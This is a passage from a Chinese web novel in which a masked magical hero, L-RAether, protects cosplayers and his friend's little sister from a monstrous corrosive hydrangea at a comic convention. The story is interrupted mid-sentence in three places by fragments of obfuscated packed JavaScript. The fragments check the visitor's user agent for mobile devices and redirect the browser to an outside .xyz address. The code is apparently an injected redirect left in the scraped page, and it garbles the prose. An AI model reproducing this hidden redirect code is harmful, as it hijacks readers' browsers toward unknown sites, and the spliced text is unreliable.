“对,”桑榆竹眯着眼睛点点头,“她们非常重视新鲜度,刚好需要的种类我店里都有种,所以干脆连盆带花拉过来,现场让这些小姑娘挑,挑中哪朵剪哪朵,绝对保证新鲜。” “袜!她们好拼哦~” 罗乐安两眼放光地看向舞台,几秒钟后又转过头,将脸上的放光的“小灯泡”冲向桑榆竹。 “桑叔,你也好拼哦!” “哈哈哈~” 桑榆竹再次被逗笑,“主要是瞧着这些小姑娘这么重视,我也有点好奇了,就顺道过来看看。” “看完之后嘞?有什么感想吗?” “唔,就……还蛮有意思的。” 说完这话,几个人的对话就暂时告一段落,因为场外观众突然大喊,原来是大家最期待的海瑞吉亚登场了。 原作中的各个角色,虽然形象和性格各异,却并没有明确性别是男还是女,特别是海瑞吉亚,着装和配音都是极为中性的,因此在coser的选择上,主办方邀请了长相跟气质集妩媚和英气于一体的虚海歌。 不过虚海歌最有魅力的地方不仅只有外表,还有她超投入的信念感。 在二次元的世界里,因为对某个角色的喜爱而出cos是常态,可为了出角色还像演员一样给人物写小传的,就没那么多见了。 而虚海歌恰恰就是这样一位超——敬业的coser。 她不是职业coser,大学社团能提供的硬件条件有限,但这却并不影响她那些角色的完成度,反倒因为对角色神态情绪的把握极为精准,加上设计的那些非常符合人物设定的小动作,让人仅从静态的照片中就能感受到破次元的美感。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318893|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >也正是如此,她才能在短短不到两年的时间里,就收获了如此高的人气。 罗乐安又恢复成了温朗和地面的“角平分线”,只为了能够拥有更好的视角来观赏演出。 好在虚海歌的表演并没有辜负他(和温朗)的努力,尽管只看得到侧脸,却依旧能够从她的眼神中看到角色复杂的情绪。 有傲亦有悲,有冷亦有怜。 对方对角色的塑造无疑是超出广大粉丝想象的,但整场演出的成功也不仅仅只是她一个人的功劳,其他人的努力和编导的巧思也是重中之重。 在表演的最后,HE和OE的海瑞吉亚出场了。 现场的观众,一致因为这个设计而发出惊呼。 毕竟大家是因为游戏才喜欢这个角色的,而春和夏“两株”紫阳花的出现,无疑是让今天的演出更加完整了,也难怪会引燃观众空前的热情。 然后,罗乐安就在一众赞叹声中,捕捉到了一个非常熟悉,却又怎么想都不应该出现在这里的声音。 而就在这时,拽着自己左手臂的那只手也陡然用力,直接将他从45°拉回到90°。 “唔……” 罗乐安再次捂住鼻子,却并没有抱怨,而是抬起头,和刚好低下头的温朗来了个对视。 只需一眼,两个人就双双确定,自己刚刚并没有听错。 温小葵! 他俩默契地同时转过脑袋,两双眼睛如同四只探照灯一样,在舞台正前方的人群里搜寻着,很快就找到了目标人物。 不过就在他们两个准备去逮人的时候,身后突然传来了桑榆竹的声音。 “紫阳花这个称呼现在其实已经不常见了,大家一般都称呼它为绣球花。” 嗯? 罗乐安有些莫名地回过头,不知道对方为什么会忽然挑起这样一个话题,突兀到完全没有上下文可以参考。 “这个故事确实很有意思。实际上,绣球花是具有破咒的力量的,随身携带、撒在家里或者燃烧它木质化的树皮,都可以破解咒语——可这个故事却选择让绣球花身中诅咒,真的还挺耐人寻味的。” 哈? 罗乐安嘴巴微张,整张脸看着更迷茫了。 不过桑榆竹没有再继续解释了,只是笑眯眯摆了摆手,而后就转过身,先一步离开了。 “乐乐?” “啊?哦!没事没事,走走走,先去逮小葵!” 学酥的脑容量有限,还是得先紧着正事,至于那些奇奇怪怪的知识点,等之后有空了再思考吧。 因为听到广播就直奔着主舞台过来了,所以温霁和熊哲占据到了最佳观赏位,整个人非常投入地观看舞台上的表演,心无旁骛,连一个哈欠都不舍得打,只想着把这场堪称完美的演出,每一帧都铭刻进自己的记忆中。 然而,就在她的眼睛即将“录”到EndingPose的关键时刻,她感觉有人拍了自己的脑瓜顶。 第一下的时候她还没在意,只以为是误伤,谁料很快,第二下、第三下、第四下接踵而至。 “唉!我说你干嘛……” 生气的埋怨在转身看到“犯罪嫌疑人”后,戛然而止。 “大、大乐?” 语气有些惊慌。 “真、真巧呀~没、没想到能在这里碰到你……哈,哈哈哈……” “我才是真的没想到——行了,笑不出来就别干笑了,你怎么过来的?来干嘛的?” 罗乐安抿着嘴,神情是难得的严肃,只是他在温霁心里实在是没啥威严,因此就算嘴角绷得再紧,对方都不会觉得害怕。 “哎呀,别那么严肃嘛,我过来自然是找你和我老哥的呀~我哥呢?怎么没跟你在一……” 随着温霁抬头,一张既陌生又熟悉的脸映入她的眼帘,她的声音再度戛然而止。 “g、ggg……哥?” 语气非常惊恐。 38. HYDRANGEA⑥ 温霁的惊恐,不止源于看到了自己大哥。 更源于她看到的是一个气质大变的大哥。 一个原本温柔阳光的学霸帅哥,戴上了公主切的黑长直假发,又画上了浓重的眼妆,上挑的眼线让原本正直的脸,一下子变得妖孽极了。 幸好表情足够冷,极大程度地削弱了其中的魅惑感。 却也最大程度地放大了温霁的恐惧感。 她知道自己大概免不了一顿教训,可“死到临头”了,她的小脑袋瓜里想的不是怎么让亲哥消气,而是一些根本控制不住在脑海里肆意乱跑的奇怪念头。 比如她的,“死因”。 到底是“死”于一个人偷溜出来的这种不良行为呢,还是“死”于撞破了自己老哥如此……唔,不为人知的真面目呢? 温霁虽然年纪小,但是心眼多,心思也敏锐,因此对于温朗的cos初体验,尽管他已经惊到灵魂都快出窍了,却也还是在努力克制,没表现得过于惊奇。 主要是她本能地觉得,如果动静闹得太大,自己会死得更惨。 只是就算她再怎么玲珑心思,奈何身边还有一根直肠子的木头,情绪和反应都不过脑子的,生成即输出,生生把她往“死”里整啊! “啥?你说啥?你叫他哥?” 熊哲吓得整个人一个大跳,“他他他……他是温朗?!!!” 听到如此震惊的动静,罗乐安和温朗终于注意到了温霁身旁那个,在室内还装模作样戴墨镜的大高个。 俩人一个对视,双双锁定了“偷渡”无知(划掉)不知死活少女的“嫌疑犯”。 “表演散场了,人多,先去旁边再说。” 几个人转移到了一条人少的通道里,正式开始“审问”环节。 “温小葵!你胆子也太大了!你八岁了,不是三岁,知不知道一个人来这么远的地方有多危险啊!” “你……你也说我是八岁不是三岁,我肯定会问路的嘛……” 被亲哥一顿凶的温霁,眼圈因为委屈而发红,却依旧噘着嘴,一边心虚,一边不服。 “再说了,我也不是一个人来的啊!我为了保证安全,还特意找了个成年人带我来,你非但不夸我,还凶我——你!你肯定是捡来的!你肯定不是我亲哥!!!” 温朗对自己妹妹倒打一耙的火上浇油行为,并没有表现出什么更进一步的震怒——毕竟温霁是能跟罗乐安玩到一起的孩子,他早就有“近墨者黑”的心理准备。 再加上这次成功的“偷渡”,也不仅仅只是某个小屁孩一个人的成果,她找的那个临时“监护人”责任更加重大。 于是,两个正牌监护人的炮火,整齐地转向了还在懵逼状态的熊哲身上。 “我说体委啊,”率先开麦的是跟熊哲关系更熟悉的罗乐安,“就算放弃了高考,也不能放弃生命啊!你还风华正茂青春大好呢,怎么好端端的,在这种时候干起诱拐……咳,干起‘顺拐’这种勾当了呢?” 根据砍价原则,第一步要狮子大张口,那就先扣上一顶巨型帽子再说。 然而熊哲并不知道他的打算,所以上来就被这顶帽子给吓得够呛,连忙把身上的锅甩了回去。 “喂喂喂!话可不能乱说啊!我明明是做好人好事,助人为乐来着——不信你问她,是她出门没带钥匙,刚好碰到我,所以才求我带她过来找哥哥的!” 于是,四道目光又转回到另一个当事人的身上。 温霁:“……” 算了,还是实话实说吧。 在自己老哥面前耍心眼,果然没有什么好结果。 “好啦,我承认,是我讹熊熊哥,让他带我过来的。我错了,再也不敢了。” 只可惜,她态度良好的认错道歉,在温朗这个见证了她太多次前科的人眼里,并不具备什么实际效力。 特别是最后那句“再也不敢了”,每次犯错都有这句,态度真诚,可下次一定。 “你想来漫展玩为什么不跟我说?我是你哥,你要来我肯定会带你来,怎么还搞起坑蒙拐骗了呢?跟谁学的啊!骗这么一个……心思单纯的人,你不会良心不安吗?!” “因为我……因为我的首要目的,也不是来玩,逛展就是顺便的……” “那你是来干嘛的?参观学习?回去之后准备在咱家店里也搞个漫展?就用你快被挥霍光了的压岁钱?” “……” 呜呜呜! 温霁的大眼睛瞬间cos起了荷包蛋。 她哥怎么这——么毒舌! 大乐能忍他十几年,一定是真爱! 温朗可看不透温霁那颗小脑袋瓜里,到底都在翻涌什么奇奇怪怪的剧情,他只看到小姑娘眼神越来越直,就知道人已经又魂游天外了,便伸手点了点对方的脑门。 “回神,说话。” “唔……” 温霁捂着额头,嘴巴撅老高,可怜巴巴地模样让罗乐安心生不忍。 “哎呀,你干嘛对小葵那么凶嘛,你看小丫头眼睛都红了。” 他一边缓和气氛,一边揉了揉温霁肉乎乎的脸蛋。 然后在后者感动又依赖的眼神中,话锋一转。 “所以你到底是来干啥的?坦白从宽,抗拒从严哦~” “……哎呀,我就是好奇嘛!” “有什么可好奇的吗?” “你一大早就把我哥带去漫展,还是在他十八岁生日当天这么重要的日子,所以,所以……” “所以什么呀?” “所以我以为你们是要背着我偷偷约会来着,就想跟来看看……” 说完这话,罗乐安眉头微皱,有些无语地“啊”了出来,反倒是站他身后的温朗,原本紧锁的眉头舒展开来,脸上的表情终于没有那么难看了。 “你这小脑袋里到底都……” “啊——” 一声有些凄厉的尖叫打断了温朗的话,而就在所有人都还没反应过来的时候,温霁先一步朝着声音传来的方向窜了过去,想要以此逃避接下来的数落。 而留下的三个人,在回过神想要去追认的时候,却被突然涌过来的人群挡住了脚步,甚至将他们几个都冲散了。 看着面露恐慌的人群,温朗右眼皮一跳,立马就意识到刚刚那声叫唤一定不只是“谁碰了谁、谁踩了谁”这么简单,肯定是发生了什么大事。 并且很有可能,就是之前在商场、在海边、在学校,一样的事。 “乐乐——小葵——” 奈何任他怎么大喊,眼睛里也只有无尽的人群,根本看不到罗乐安和温霁的踪影。 罗乐安是趁着人群遮掩主动溜走的。 在温小葵窜逃的同一时间,他就收到了丧丧的警示。 又是谵蘖。 在学校捣乱也就算了,连自己最爱的漫展也不放过,真是——罪!该!万!死! 他心里一边给谵蘖献上此生最恶毒的咒骂,一边灵巧地在人群里穿梭,却还是没抵挡得住过于汹涌的人潮,最后是被人硬挤到一扇门后,黑咕隆咚,还满是尘土味,也不知道是放什么东西的。 不过虽然条件差,可好在没人也没摄像头,他便也顾不上那么多了,迅速变身成了L-RAether,之后直奔主舞台。 骚动是从那儿开始的,那么谵蘖大概率也是在那附近,就是不知道这次变异的又是什么植物,毕竟刚刚台上台下的花可太多了,光是《紫阳花迷宫》的那群coser手里,就有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16334390|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二十多枝。 说起来,他现在都不知道谵蘖的变异规律到底是什么。 明明刚刚表演的时候还很正常,怎么散场还没几分钟,就出事儿了呢? 罗乐安一边自己疯狂地头脑风暴,一边踩着摊位桌和拉杆箱起跳,在人群的头顶上穿梭着。 这副情景,倒是让那些不明就里、慌忙逃窜的人们,慢慢停下了脚步。 其实本来嘛,大多数人根本不知道到底发生了什么,只不过有人喊救命,又有人喊快逃,便人赶人得跟着跑了起来。 现在见有人往回跑,而且还“会飞”的样子,估计是个特技演员,一些人就开始琢磨,分析这其实是主办方表演的一部分,便张罗着往回走。 在空中跳跃的罗乐安,也断断续续听到了这些令人上火的言论。 他以后再也不说自己是资深中二病了,跟这些看热闹不嫌命长的相比,他可真的是太太太太——太正常了! 不过真让这群不知死活、不懂轻重的人去跟谵蘖面对面,肯定是不行的,还是得想办法拦一下。 好在这些人,虽然思想很狂妄,但“理论经验”却都很丰富,知道嚣张人设都短命,因此行事还是相对收敛的,就算有人想回去一探究竟,也还是小心翼翼。 这倒是避免了踩踏事故的发生,同时也给了罗乐安一点筹谋的时间。 筹谋。 这个词竟然能用在他身上。 多新鲜呐! 然而尽管心里的自嘲滔滔不绝,他也还是尽可能地调动自己所有的脑细胞想辙,当然了,他也没有那么倔强非要只靠自己,更准确地说,他的第一反应,反而就是求助。 “丧丧,有没有那种大一些的结界,最好能把那些普通人都罩住保护起来——实在不行,把战场单独罩起来也可以,别让看热闹的人靠近。” 「有,但是……」 “行了,闭麦吧。” 他就多余问! 翻个白眼的功夫,罗乐安已经抵达上了战场。 就见一株一人高的绣球——也就是刚刚演出的时候他近距离观看过,这才能勉强认出来——立在舞台上,蓝色的花和绿色的叶都饱和度偏低,给人一种阴恻恻的感觉,上面还沾着黄色的液体,粘稠又恶心,一路淌到了舞台下方的观众席。 那里原本用来拦截人流的伸缩隔离带已经翻倒在地,变得破破烂烂,周围还散落了不少手持的cos道具,包括一些喝了一半的奶茶,大概都是刚刚人群混乱撤离的时候,被不小心丢下的。 除此之外,还有三个人。 三个熟人。 虚海歌,温霁,以及任穗。 也不知道这几个人是怎么碰到一块儿的,还都留在这儿,但现在顾不得那么多了,因为就在他看到她们仨的瞬间,台上的谵蘖发动了攻击。 整个植株猛地一抖,那些自花叶中流淌出来的黄色液体便飞溅出来,落到周围的海报和易拉宝上,顷刻间便烧出了一个个洞。 当然,更多的液体还是冲着罗乐安去的,被他及时用盾挡开,反射到地上,地砖“滋啦滋啦”冒出白烟,很快一个个小坑就出现在了地上。 这玩意儿,有腐蚀性! 怪不得那些液体汇聚的地方,他总觉得像是凹进去了似的。 这种攻击方式,他的盾牌就算放到最大,也护不住所有人,所以,他就更不能让那些好奇心比猫还大的家伙们过来了。 隔离不了,保护不住,那就只能想办法让他们待在原地了。 而且不能太恐慌,万一出现二次伤害就糟了。 皱着眉沉思了大概三秒钟,罗乐安抬头看到了挂在展会上空那一排广播喇叭。 眼珠一转,计上心来。 39. HYDRANGEA⑦ 拿定主意后,罗乐安没再犹豫,上前将一直把温霁护在怀里、本人却惊魂未定的任穗拍醒。 “喂喂,你还好吗?” 因为怕身份暴露,他想了想,还是拔高了自己嗓音的声调,这样听起来雌雄莫辨。 “站的起来吗?有受伤吗?能走路吗?” “关心三连”不止把任穗唤醒,也唤醒了头一直埋在前者胸前的温霁。 小姑娘应该是吓坏了,面色苍白,嘴唇还抖个不停。 可在看到罗乐安戴着面具的脸后,不知是出于惊喜,还是处于好奇,总之她的呼吸一下子便平稳了许多,眼神中的慌乱也平息了不少。 “你……” 温霁伸出手,轻轻拽了一下落在自己身前的斗篷,“你是手柄侠吗?” 听到她的称呼,罗乐安原本上扬的唇角瞬间僵硬,但为了不吓到两个女生,他硬生生将心里的不满压了下去,小声开口纠正。 “我不叫‘手柄侠’,我叫‘L-RAeth’……” 然而他的话还未说完,就察觉到身后的谵蘖又有了动作,一波全新的腐蚀液朝着他们几人飞溅而来,他连忙转身将盾牌撑开。 “先不说那些了!”他微微侧头冲着身后的两人喊道,“你们先逃!快!我数一二三,然后你们就跑——顺着舞台后面走,小心点,别碰那些黄色的液体!” 尽管任穗和温霁还有很多想问的,而且丢下救命恩人自己逃跑这种事,听起来既丢人也很丧良心,可毕竟她们(纸上)经验丰富,太知道现在并不是虚假情意、拼命撕吧的时候,保护好自己不给别人拖后腿才是最重要的。 “收、收到!” “一,二,三——” 数到三,用余光瞥见身后的一大一小往舞台方向飞窜而去后,罗乐安按下了左手柄的背键,想要将腐蚀液反弹回去。 只是尽管反弹完成得很成功,攻击效果却果然如他所料,并不尽如人意。 毕竟那些腐蚀液原本就是谵蘖自己分泌的,根据“原汤化原食”的质朴原则,对方不受影响倒也是正常的。 不过他本来也没想着用这招就能打败谵蘖,他的目的,主要是想要趁这个时机可以飞快地窜到场地另一侧,那里还有一个人亟待救援。 虚海歌。 虚海歌的状态,看起来要比任穗和温霁糟糕的多。 刚刚还是崭新的蓝色cos服上,已经出现了好几处明显的破损,短靴、裙摆都已经不太能看了,而最严重的地方是手套,手掌部分被烧出了一个大洞,露出了被腐蚀液伤到的血流不止的掌心。 嘶! 罗乐安见状没忍住,轻轻倒吸了口凉气。 这个伤,光是用眼睛看他都觉得要疼昏过去,而这个小姐姐这么半天一声都不吭,真的是好能忍啊! 如此坚强的品质,这要是放在动漫作品里,大概率也是主角的魔法少女同伴。 带着一脑袋的弹幕,他落到了女生面前,伸手释放出治愈的白色光团。 跟周羽嘉的情况不一样,虚海歌的伤都是皮外伤,消耗不了他多少力量,所以他才会这么痛快。 当然,除了这个原因,还有一点是因为他有求于对方。 “你……” “先别说话,听我说。” 打断了虚海歌的疑惑,罗乐安先将人抱到舞台后方的调度台,确认腐蚀液一时半会飞不过来,他开始跟人部署自己的计划。 然后过了大概五分钟,他顶着盾重新飞回到舞台上。 与此同时,场馆各处的广播喇叭里,也传出了一个清冷的女声。 「亲爱的各位漫友和嘉宾,这里是主舞台广播,我是虚海歌。很抱歉地通知大家,由于舞台区域出现临时的技术故障,为了确保后续活动的完美呈现和大家的观赏安全,我们需要进行紧急调试和检查,因此从C40到D40一线至主舞台之间的区域将暂时封锁。请大家不要惊慌,现场其他区域一切活动照常进行,大家可以自由前往参与。」 广播的播报声音冷静且清晰,但其实只要有心,还是能从中分辨出几丝微不可查的颤抖。 不过听的人大多处在或惊慌或兴奋的状态,除了极个别几个人,几乎是没人注意到这点。 「……同时,对于由此给您带来的不便和等待我们深感歉意,为了表达我们的歉意,主办方特别决定,在舞台调试期间,所有持有今日有效门票的观众,均可凭票根或电子票凭证,前往A馆餐饮服务台免费领取奶茶一杯,工作人员会在领取点为大家服务。」 在广播播报的过程中,罗乐安飞快地穿梭在场馆之中,依循之前计划的那样,用伸缩隔离带将主舞台附近的区域封锁起来,这样就算真有好奇心太过旺盛的,看到这个,至少心里也能稍微“咯噔”一下。 再加上任穗大小姐赞助的免费奶茶,应该能拖住一阵子。 说起任穗,她的富有在这次计划里又一次具象化了。 问题是一同具象化的,还有那不怕死的探索精神。 “……让我广播是没问题,可是……” 听完罗乐安计划的虚海歌,消化了大概三秒钟就接受了前者的全部说辞——包括舞台屏幕前面那个,由自己手中绣球花束突然变成的怪物,还有身旁这个自称可以解决危机、保护所有人的奇怪魔法使,手柄侠,哦,不,是L-RAether。 只是她还是不觉得对方真的能打败那个怪物,至少刚刚说的那个计划,听上去就十分粗糙简陋,怎么想都觉得不咋靠谱。 “可是用免费奶茶这个噱头骗人,应该很快就会被识破吧?那、那事情不会变得更糟吗?” “能拖一阵是一阵,我也会尽快解决那个谵蘖——就是怪物——反正不管怎么样,能拦点人就拦点人吧,总比所有人都闯过来受伤强吧?事先声明,我可没那么多魔力能将所有人都治好。” 一边说,罗乐安一边透过脸上的假面,看了一眼对方的手。 “……” 虚海歌显然也明白利害关系,因此尽管心有不安,却还是选择了配合。 好在最后关头,任穗的“带资进组”成功抚平了她高道德感带来的压力。 “奶茶的问题,就交给我好了~我已经跟奶茶店下单了一千杯,足够应付一阵了~” 看到突然从自己身后冒出来的人,罗乐安瞪大了眼睛,同时拔高了声音。 “你……们!你们两个怎么还在这里!不要命了吗?!” “哎呀~这不是看你们似乎需要帮助嘛!” “对呀对呀!而且虚海歌姐姐还在这里,我跟穗穗当然会不放心啊。” “没错没错!” “……” 罗乐安深呼吸,重复了三次,终于压下了心里的怒号。 不想再就这话题继续纠缠,他选择了无视,直接继续正题。 “我等下出去拉‘警戒线’,你……们,广播完了就从后面离开,别再想凑热闹了,我可不能保证每次都能及时救你们。” 说罢,他就在任穗“你一个守护世界和平的魔法少女竟然说这么无情的话”的吐槽里,无情地跳出了安全区。 见神秘的魔法使离开得这么果断,任穗鼓了鼓腮帮子,走到虚海歌身边。 “需要我帮忙吗?” “……暂时不用,谢谢。” 虚海歌其实有蛮多问题想要问,不过她还是暂时按下心头的疑惑和好奇,优先完成了自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16346807|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的任务。 在确定广播内容无误后,她松了口气,转头看向任穗和温霁。 “你们……和那个人认识吗?” “当然不。” 一大一小两个女生同步摇头,异口同声,“我们可都是正常人。” “……” 无力吐槽的虚海歌,突然共情了刚刚的L-RAether,劝自己别在意,径直跳转下一话题。 “你们都不害怕的吗?” “一开始有一点点……”温霁率先抢答,一个深呼吸后,她小心翼翼上前,又小心翼翼地挽住了虚海歌的手臂,“偶像,没关系,真遇到危险的话,穗穗子会保护我们的~” 嗯? 听到小姑娘的话,任穗和虚海歌对视了一眼,电光火石之间,两个人完成了一系列地交流。 虚海歌(震惊):你……刚刚不是说自己是‘正常人’吗? 任穗(慌张):我是啊!我真的是啊!!! 虚海歌(疑惑):可、可她说你…… 任穗(懊恼):哎呀!小葵误会我的意思了啦! 反应过来的任穗有些头疼地拍了拍脑门,连忙加快语速将误会解释清楚。 “我跟小葵原本是要从舞台后面的出口出去的,结果就看到那个魔法少女带着你到了后台,好像还在商量事情。我想着万一我也能帮忙,就打算回来,让小葵先出去。结果她好像误以为我有超能力,所以才……emmm,反正,就小朋友的想象力总是让人难以捉摸,你懂吧……哈,哈哈。” “但是,你好像确实不害怕。” “啊,这个啊……”任穗用食指挠了挠脸颊,表情有一丢丢在半生不熟的人面前吹牛的尴尬,“其实我觉得我可能也算是半个天选之子了。” “啊?” 这次轮到虚海歌跟小葵搭配,一大一小双双歪头表示疑惑。 “你们之前应该也有看过关于‘手柄侠’的报道吧?事实上……” “那个人说自己叫‘L-RAether’……” “哦,好吧,L-R……哎呀,念起来好拗口,还是叫手柄侠吧——事实上,之前的几次事件,我都在场。” “诶?” “第一次是星光广场,当时我在四楼电影院。第二次是汐语市海滩,当时我也在。第三次你们可能不知道,其实在几天前湖灵高中的西校区也出现过怪物,而我当时就在附近的教学楼里准备考试。” “……哇,哦。” “哇哦~” 对于这些巧合,虚海歌和温霁的反应都只有两个字,态度却天差地别。 不过这也并没有影响任穗的讲述兴致。 “除了海边那次我没有记忆,其他两次事件的动静其实都比今天要大,地动山摇的。特别是学校里那次,有人看见那个怪物还会动,把操场搞得坑坑洼洼乱七八糟。相比之下,这次的怪物长得又小,攻击力又有限——虽然腐蚀液的确很危险,可攻击范围又小,攻击强度也没有很高,所以……” 咔。 一道轻微的声响,出现在空气中,却并没有人注意到。 “所以我觉得,我们还是蛮安全的,毕竟……” 嗞啦。 这是电流拉弧的声响。 “毕竟还有手柄侠在努力战斗,我们一定会……” 吱嘎—— 头顶突然传出明显的响动,三人惊慌抬头,就见她们背靠着的舞台屏幕,竟然突然断裂,顶部的几盏大灯摇摇欲坠。 而这还不是最要命的,关键是屏幕的上半部分,已经开始出现偏折,随时都有可能…… 轰! 大灯砸落下来。 会,安全吗? 40. HYDRANGEA⑧ 真的一定,会安全吗? 任穗在看到距离自己越来越近,还闪着电弧的、断裂的LED屏加大灯,脑袋里只有这八个字的弹幕在拼命来回贴脸。 并且字体越来越大,到最后,只剩下一个“吗”字糊了他一脸。 但这也仅仅只是一瞬间的反应而已,而也就在这一瞬间里,她那双因惊恐而瞪大的眼眸中,那半截屏幕又被放大了。 不过就在眼睛中的神采即将被完全盖住、变为绝望的时候,一抹清透的蓝光闪现在了三人眼前。 随着“砰”一声巨响,屏幕和灯彻底落了下来,可底下三个抱头的女生却惊奇地发现,似乎除了感受到身下传来的震动,她们本身并没有受到什么伤害。 “诶?天啦噜!我们竟然……还活卓?” 任穗将抱着脑袋的手松开,匪夷所思地摸了摸自己还完好的眼睛鼻子嘴,又拼命拍了拍胶原蛋白满满弹性十足的脸,浑身上下充满了劫后余生的惊奇,以及不可置信。 “好像的确得救了……”虚海歌的声音里也充满了劫后余生的庆幸,以及如释重负。 “可是,怎么会呢?” “我知道!你们快看那里!” 温霁的声音响起,其余两人顺着小女孩手指的方向看去,就见一个游戏左手柄落在不远处的地砖上,像一个投影仪一样,向上投射出淡蓝色的光芒。 几个人顺着光抬头向上看去,就见一个蓝色的光盾横亘在空中,上面还散落着几块黑乎乎的碎块,俨然就是刚刚掉落下来的半截屏幕。 的尸体。 “那个手柄……果然,一定又是手柄侠救了我me……” “我说了,我是‘L-RAether’……麻烦不要再叫我‘手柄侠’了!” 任穗的感慨被一个差点破音的尖利声音打断,她回过头,就见那个戴着面具的魔法使,正气急败坏地朝着她们几个跑来。 罗乐安的确是快要气死了,却并不只是因为“手柄侠”这个称呼。 他实在是没料到任穗的胆子竟然这么大,明明都已经跑出去了,竟然还要回来。 而且回来就回来吧,竟然还一点紧张感没有,还离谱到拉着人开始闲聊——但凡手里要有杯奶茶,简直都可以开茶话会了。 她们以为自己是猫吗?! 有九条命足够她们挥霍?! 不! 她们是猪! 是满脑子只有嘚啵嘚的猪!!! 一想到自己刚刚圈完场地回来看到的惊险一幕,他现在都还会浑身冒冷汗。 那个距离,自己根本赶不及,情急之下,他下意识将已经装备好“盾”的手柄丢了出去。 还好他赌赢了,手柄脱手之后,盾的效果并没有散去,这才成功挽救了三个女生的性命。 此刻,他真的好想效仿胡女士教训他的模样,狠狠骂一骂自己这位不着四六的好朋友,只是他担心这样做会暴露自己的身份,最后也只能咬着牙,努力将怒气咽下。 “算了,”知道现在不是追责的时候,罗乐安冷着声音语速飞快,“趁现在情况还不算太过糟糕,你们几个快点从那边的小门出去!麻溜儿的!直线离开不许拐弯!别再给我制造不必要的支线任务了!!!” 一边喊,他一边就要捡起地上的手柄。 而变故,就是在这个时候发生的。 原本立在任穗几人身后,那将近三米高的半截屏幕,突然发出了猛烈的电流声和爆破声,与此同时,周身还闪着火花。 而还没等他们想明白到底发生了什么,新的状况又出现了。 腐蚀液从断裂的屏幕上方飞出,不是几滴,而是几大坨——可以直接将人埋住的量——然后在这波腐蚀液的冲击下,剩余的半截屏幕终于不堪重负,彻底裂开,倒塌。 “呀啊——” 几个女生下意识抱头蹲下,而原本打算收起盾牌的罗乐安,则是快速转身,将盾牌调转方向,牢牢将几个人护在身后。 “你们几个,别犹豫了,快跑!” “可、可是……路……路……” 听出任穗声音里的呜咽,罗乐安撑着盾牌扭过头,就见刚刚洒下来的腐蚀液竟然将他们几个围住了,凭普通人的能力,根本无法全身而退。 可是如果让他一个一个把人送出去,情况似乎又不允许。 腐蚀液不断自舞台飞来,不撑着盾的话,他无法百分百保证自己和护送之人的安全——可如果他撑盾离开,那留下来的人就会完全暴露在危险之中了。 这简直是变相的“电车难题”! “完事儿之后,我一定要让老穗请我一个月的午饭!不,三个月!” 罗乐安气得头嗡嗡疼,最后却还是没敢大声撂狠话,只是小声嘟嘟囔囔了一阵,操纵魔力,把原本平面的盾变成了一个直径大概两米的圆球形,将任穗几人全都护在其中。 “拿好手柄,待在这里——这!次!绝!对!!不!能!再!乱!跑!了!” 一字一句地叮嘱完任穗,并得到了对方起誓保证后,他深吸了一口气,右脚一蹬,带着视死如归的表情跳出护盾的保护范围。 不怪罗乐安如此如临大敌,主要是他刚刚问过丧丧,知道自己变身后虽然各方面身体素质都有所增加,但还没有突破碳基生物的局限,做不到刀枪不入,自然也抵抗不了腐蚀液的侵袭。 所以他在失去盾的保护后,也相当于是在拿命去赌输赢。 好在经过几次战斗,他已经不会再一个热血上头就什么都不管不顾了。 他收起莽劲儿,躲闪着跳到舞台前方还安全的空地后,并没有着急上前,而是将手里的剑收了起来,换成了箭。 唔,就是没有弓。 但他早就想到对策了,就算没有弓,箭还能用扔的,就是攻击距离要缩短。 这次的谵蘖攻击手段偏向群攻,却还是很有针对性的——针对他。 因此只要他不往任穗几个人所在的地方逃,呸,跑,护盾受到的波及就会相应减少,损耗速度也能相应降低。 不过这只是缓兵之计,还是要速战速决才保险。 然而现在的情况是远攻够不到,近战打不了,他也只能先远距离牵制,期间慢慢想办法。 “办法办法……丧丧你快点想啊!” 罗乐安一边念叨,一边躲闪,同时一边不死心地投掷出第三发火焰箭。 结果也和前两次一样,火球落到变异的绣球花上后,瞬间熄灭。 「水分这么大,肯定点不燃,就不要浪费能量了。」 “你才是浪费能量——我是让你想办法,不是让你吐槽我的!难得说这么多话,就不能说点有用的吗?要不,我干脆用炸弹箭把它炸了算了!” 「打不过也用不着同归于尽。」 “那你就快想想辙啊!” 大声push完丧丧,罗乐安换了一支箭,蓝色流光闪过,刚刚还张牙舞爪甩“泥点子”的谵蘖,瞬间就被冻住了。 然后他径直冲上前,右手换剑,一个纵劈砍在谵蘖身上。 谵蘖身上的冰壳应击而碎,少量红雾飘出,随之一起的还有汹涌飞溅的“酸雨”。 好在罗乐安已经有了两次经验,并且还付出了斗篷上三个洞的代价,躲避走位极为娴熟,飞快地退到攻击范围之外,没有受到什么实质性的伤害。 